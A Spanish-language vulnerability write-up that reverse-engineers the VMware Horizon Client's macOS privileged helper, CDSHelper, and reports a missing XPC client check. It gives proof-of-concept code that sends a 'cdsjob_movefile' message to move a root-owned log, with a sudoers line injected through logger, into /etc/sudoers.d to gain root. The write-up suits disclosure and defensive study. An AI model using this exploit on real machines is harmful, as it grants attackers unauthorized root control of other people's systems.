
Cliente VMWare Horizon para macOS LPE debido a una falla lógica de XPC. POC tardío para un 0-day que divulgué responsablemente a Omnissa.
El sistema operativo macOS utiliza servicios XPC para la comunicación básica entre procesos, como entre el demonio de servicio XPC y las herramientas auxiliares privilegiadas de aplicaciones de terceros. El Cliente VMware Horizon, tras su instalación, registra el ayudante privilegiado com.vmware.horizon.CDSHelper en el directorio /Library/PrivilegedHelperTools/.
También cabe señalar que el nombre Mach com.vmware.horizon.CDSHelper es utilizado por el ayudante privilegiado para escuchar conexiones XPC entrantes, como se muestra arriba.
Se utilizaron las herramientas de desarrollador predeterminadas de macOS para extraer símbolos del binario del ayudante a fin de determinar que incorporaba comportamiento XPC:
» nm -a /Library/PrivilegedHelperTools/com.vmware.horizon.CDSHelper | grep -i xpc
U __xpc_error_connection_invalid
U __xpc_error_key_description
U __xpc_type_connection
U __xpc_type_dictionary
U __xpc_type_error
U _xpc_connection_create_mach_service
U _xpc_connection_get_pid
U _xpc_connection_resume
U _xpc_connection_send_message
U _xpc_connection_set_event_handler
U _xpc_dictionary_create_reply
U _xpc_dictionary_get_remote_connection
U _xpc_dictionary_get_string
U _xpc_dictionary_set_int64
U _xpc_get_type
U _xpc_release
A continuación, se utilizó la herramienta Hopper Disassembler para cargar el ayudante en un descompilador para realizar más ingeniería inversa, como se muestra a continuación:
open -a /Applications/Hopper\\ Disassembler\\ v4.app /Library/PrivilegedHelperTools/com.vmware.horizon.CDSHelper
Se localizó y revisó la función EntryPoint(), confirmando que representaba el punto de entrada principal de CDSHelper.
Luego se descompiló la función sub_100005fa0, confirmando así que la herramienta auxiliar privilegiada del Cliente VMware Horizon utilizaba la API de servicios XPC (esta es la API de nivel C inferior que Apple proporciona, en contraposición a la API de conexión XPC que reside en la capa Objective-C/Swift):
int sub_100005fa0(int arg0, int arg1) {
sub_1000063d4("Starting service: %s\n");
r0 = xpc_connection_create_mach_service(arg0, 0x0, 0x1);
xpc_connection_set_event_handler(r0, &var_38);
r0 = xpc_connection_resume(r20);
dispatch_main();
return r0;
}
Una vez creado el servicio Mach (a través de xpc_connection_create_mach_service(com.vmware.horizon.CDSHelper)), los mensajes entre el cliente y el servicio XPC del Cliente Horizon se intercambian mediante objetos de diccionario XPC creados con el método xpc_dictionary_create().
Se pueden añadir valores a este diccionario utilizando los métodos que Apple proporciona a los desarrolladores; estos suelen comenzar con xpc_dictionary_set_*.
El cliente puede enviar estos objetos de diccionario XPC al servicio XPC mediante métodos como xpc_connection_send_*.
En el extremo del servicio XPC del Cliente Horizon, se registra un manejador que puede gestionar los objetos de diccionario XPC recibidos del cliente. Esto se realiza mediante el método xpc_connection_set_event_handler().
Finalmente, los valores del objeto de diccionario XPC recibido se leen mediante métodos como xpc_dictionary_get_*.
Después de que EntryPoint() de CDSHelper retorna, se llama a la función sub_100056d0:
En este punto, la ejecución pasa a sub_1000056ec, que se encarga de la mayor parte del trabajo de procesamiento de mensajes XPC entrantes. A continuación se proporciona la función descompilada completa. Las partes vulnerables relevantes se revisan inmediatamente después.
int sub_1000056ec(int arg0, int arg1) {
r31 = r31 - 0x90;
var_30 = r24;
stack[-56] = r23;
var_20 = r22;
stack[-40] = r21;
var_10 = r20;
stack[-24] = r19;
saved_fp = r29;
stack[-8] = r30;
r19 = arg1;
var_38 = **___stack_chk_guard;
sub_1000063d4("CDSHelper: The cds helper will call HelperMain.\n");
r0 = xpc_dictionary_get_string(r19, "cdsjob");
if (r0 == 0x0) goto loc_1000057bc;
loc_100005738:
r20 = r0;
r0 = sub_1000063d4("CDSHelper: cdsJob is %s.\n");
if (strcmp(r20, "cdsjob_runscript") == 0x0) goto loc_100005818;
loc_100005760:
if (strcmp(r20, "cdsjob_movefile") == 0x0) goto loc_1000058c4;
loc_100005774:
if (strcmp(r20, "cdsjob_installpackage") == 0x0) {
if (**___stack_chk_guard == var_38) {
r0 = sub_100005498(r19);
}
else {
__stack_chk_fail();
}
}
else {
r0 = sub_100005380(r19, 0x16);
sub_100006434("NOT_REACHED %s:%d\n");
}
return r0;
loc_1000058c4:
r0 = sub_1000068b8();
if (r0 == 0x0) goto loc_100005980;
loc_1000058d4:
r22 = r0;
r0 = xpc_dictionary_get_string(r19, "cds_movefile_srcfile");
r20 = r0;
if (r0 == 0x0) goto loc_1000059b0;
loc_1000058f0:
r0 = xpc_dictionary_get_string(r19, "cds_movefile_dstdir");
r21 = r0;
if (r0 == 0x0) goto loc_1000059f8;
loc_100005908:
sub_1000069b8();
sub_1000069b8();
sub_100006998();
if (0x0 == 0x0) goto loc_100005a60;
loc_100005948:
sub_100006978();
sub_1000067b8();
r0 = "CDSHelper: Failed to move the file : %s.\n";
goto loc_100005a00;
loc_100005a00:
sub_1000063d4(r0);
goto loc_100005a04;
loc_100005a04:
r22 = 0x16;
strerror(0x16);
sub_1000063d4("CDSHelper: The cds moving failed : %s from %s to %s!\n");
goto loc_100005a24;
loc_100005a24:
r0 = r19;
r1 = r22;
goto loc_100005a2c;
loc_100005a2c:
r0 = sub_100005380(r0, r1);
if (**___stack_chk_guard != var_38) {
__stack_chk_fail();
}
return r0;
loc_100005a60:
sub_1000063d4("CDSHelper: The cds moving ran successfully!\n");
r22 = 0x0;
goto loc_100005a24;
loc_1000059f8:
r0 = "CDSHelper: Invalid parameter of moving: destination dir.\n";
goto loc_100005a00;
loc_1000059b0:
sub_1000063d4("CDSHelper: Invalid parameter of moving: source file.\n");
r21 = 0x0;
goto loc_100005a04;
loc_100005980:
sub_1000063d4("CDSHelper: Failed to get the invalid file manager.\n");
r21 = 0x0;
r20 = 0x0;
goto loc_100005a04;
loc_100005818:
r0 = xpc_dictionary_get_string(r19, "vmwareid");
if (r0 == 0x0) goto loc_100005960;
loc_10000582c:
r20 = r0;
r0 = xpc_dictionary_get_string(r19, "path");
if (r0 == 0x0) goto loc_10000596c;
loc_100005844:
r21 = r0;
if ((sub_100005df4(r20, "vmware-id") & 0x1) == 0x0) goto loc_100005998;
loc_10000585c:
r0 = xpc_dictionary_get_string(r19, "appDir");
if (r0 == 0x0) goto loc_1000059c4;
loc_100005870:
r22 = r0;
r0 = xpc_dictionary_get_string(r19, "tempDir");
if (r0 == 0x0) goto loc_1000059c4;
loc_100005888:
sub_100006460();
sub_1000063d4("CDSHelper: The cds script %s is running...\n");
r0 = sub_100005410(&var_60);
r20 = r0;
if (r0 == 0x0) {
r0 = "CDSHelper: The cds script ran successfully!\n";
}
else {
strerror(r20);
r0 = "CDSHelper: The cds script failed to run : %s!\n";
}
goto loc_1000059e8;
loc_1000059e8:
sub_1000063d4(r0);
r0 = r19;
r1 = r20;
goto loc_100005a2c;
loc_1000059c4:
r0 = "CDSHelper: Invalid parameter.\n";
goto loc_1000059cc;
loc_1000059cc:
sub_1000063d4(r0);
r20 = 0x16;
goto loc_1000059d4;
loc_1000059d4:
strerror(r20);
r0 = "CDSHelper: The cds script failed to run : %s!\n";
goto loc_1000059e8;
loc_100005998:
sub_1000063d4("CDSHelper: Invalid script codesigning for %s.\n");
r20 = 0xd;
goto loc_1000059d4;
loc_10000596c:
sub_1000063d4("CDSHelper: Invalid script path.\n");
r20 = 0x2d;
goto loc_1000059d4;
loc_100005960:
r0 = "CDSHelper: Invalid vmwareid.\n";
goto loc_1000059cc;
loc_1000057bc:
sub_1000063d4("CDSHelper: Invalid cdsJob.\n");
strerror(0x16);
r0 = sub_1000063d4("CDSHelper: The cds script failed to run : %s!\n");
if (**___stack_chk_guard == var_38) {
r0 = sub_100005380(r19, 0x16);
}
else {
__stack_chk_fail();
}
return r0;
}
Como se destaca a continuación, el ayudante privilegiado primero obtiene el valor de cdsjob usando el método xpc_dictionary_get_string(). A partir de aquí, hay tres cadenas posibles que el ayudante privilegiado espera:
cdsjob_runscriptcdsjob_movefilecdsjob_installpackage
Si la comparación de cadenas devuelve una coincidencia para cdsjob_movefile, el CDSHelper reanuda la ejecución dentro de loc_1000058c4, como se muestra a continuación. Se verifican dos cadenas adicionales mediante el método xpc_dictionary_get_string():
cds_movefile_srcfilecds_movefile_dstdir
Después de que el ayudante privilegiado obtiene estas dos cadenas adicionales, se llaman a tres funciones adicionales en:
sub_1000069b8sub_1000069b8sub_100006998
Se ingresó a estas funciones y se presentan a continuación.
Devolviendo una cadena creada copiando los datos de una matriz C dada de bytes codificados en UTF8 (https://developer.apple.com/documentation/foundation/nsstring/1497379-stringwithutf8string):void sub_1000069b8() {
[r0 stringWithUTF8String:r2];
return;
}
Devolviendo una segunda cadena:
void sub_1000069b8() {
[r0 stringWithUTF8String:r2];
return;
}
Moviendo el archivo o directorio en la ruta especificada por cds_movefile_srcfile a una nueva ubicación en cds_movefile_dstdir (https://developer.apple.com/documentation/foundation/nsfilemanager/1413529-moveitematpath):
void sub_100006998() {
[r0 moveItemAtPath:r2 toPath:r3 error:r4];
return;
}
En este punto, salvo errores del sistema de archivos, el CDSHelper mueve el archivo exitosamente, registra el siguiente mensaje y devuelve la ejecución: CDSHelper: The cds moving ran successfully!
Cabe señalar que, durante el transcurso de esta operación, el ayudante privilegiado no realiza ninguna verificación en la conexión del cliente entrante (por ejemplo, mediante una verificación de firma utilizando la cadena SecRequirement y el identificador del paquete de la conexión, el identificador del equipo, la firma del certificado de Apple, etc.). Por lo tanto, un actor malicioso puede iniciar una conexión XPC válida y obligar al ayudante privilegiado a mover archivos arbitrarios con privilegios elevados. Esto introduce la posibilidad de escalada de privilegios hasta el compromiso total del sistema operativo, como se muestra a continuación.
Primero se establecieron y enviaron los siguientes valores del diccionario XPC para demostrar la sobrescritura arbitraria de archivos como root:
xpc_dictionary_set_string(my_message, "cdsjob", "cdsjob_movefile");
xpc_dictionary_set_string(my_message, "cds_movefile_srcfile", "/private/tmp/ticket-Sf12p9");
xpc_dictionary_set_string(my_message, "cds_movefile_dstdir", "/private/tmp/ticket-Sf12p91337");
Sin embargo, como resultado de que el CDSHelper inicializa un objeto de administrador de archivos usando defaultManager en lugar de fileManagerWithAuthorization en la función descompilada sub_1000068b8, el ayudante privilegiado respeta la propiedad del archivo al moverlos; es decir, los archivos originalmente propiedad de usuarios no root no pasan a ser propiedad de root en el proceso de mover dichos archivos. Por lo tanto, para escalar privilegios moviendo un archivo a un directorio como /etc/sudoers.d/, un adversario necesita localizar un archivo que ya sea propiedad de root, que no sea escribible por cualquier usuario, y cuyo contenido se pueda controlar parcialmente antes de mover el archivo mediante la función del CDSHelper.
Como se muestra a continuación, es posible controlar parcialmente el contenido de /var/log/install.log mediante la utilidad de línea de comandos logger; este es un archivo que cumple con los criterios de las condiciones de explotación:
» ls -la /var/log/install.log
-rw-r--r--@ 1 root admin 420902 Oct 20 18:46 /var/log/install.log
Es posible insertar una línea válida de configuración de sudo en el archivo de registro usando logger, especificando la prioridad install.error y agregando una nueva línea mediante un retorno de carro.
Las líneas relevantes del POC de explotación (ver poc.c) para mover el archivo de registro mencionado al directorio /etc/sudoers.d/ como myfile se muestran a continuación:
xpc_object_t my_message;
my_message = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_string(my_message, "cdsjob", "cdsjob_movefile");
xpc_dictionary_set_string(my_message, "cds_movefile_srcfile", "/var/log/install.log");
xpc_dictionary_set_string(my_message, "cds_movefile_dstdir", "/etc/sudoers.d/myfile");
Nótese que, al recibir un comando ejecutado mediante sudo, el sistema operativo analizará el archivo de registro, devolverá a stdout múltiples errores relacionados con la sintaxis inválida de las entradas del registro en el proceso, y finalmente continuará hasta alcanzar la única línea de sintaxis válida que se ha inyectado.
Por lo tanto, la explotación mueve exitosamente el archivo de registro inyectado al directorio /etc/sudoers.d/ y demuestra que es posible tocar un nuevo archivo ubicado en /tmp/vmwarebeware mediante sudo, probando exitosamente la escalada de privilegios en el sistema operativo macOS subyacente a través de la herramienta auxiliar privilegiada del Cliente VMware Horizon.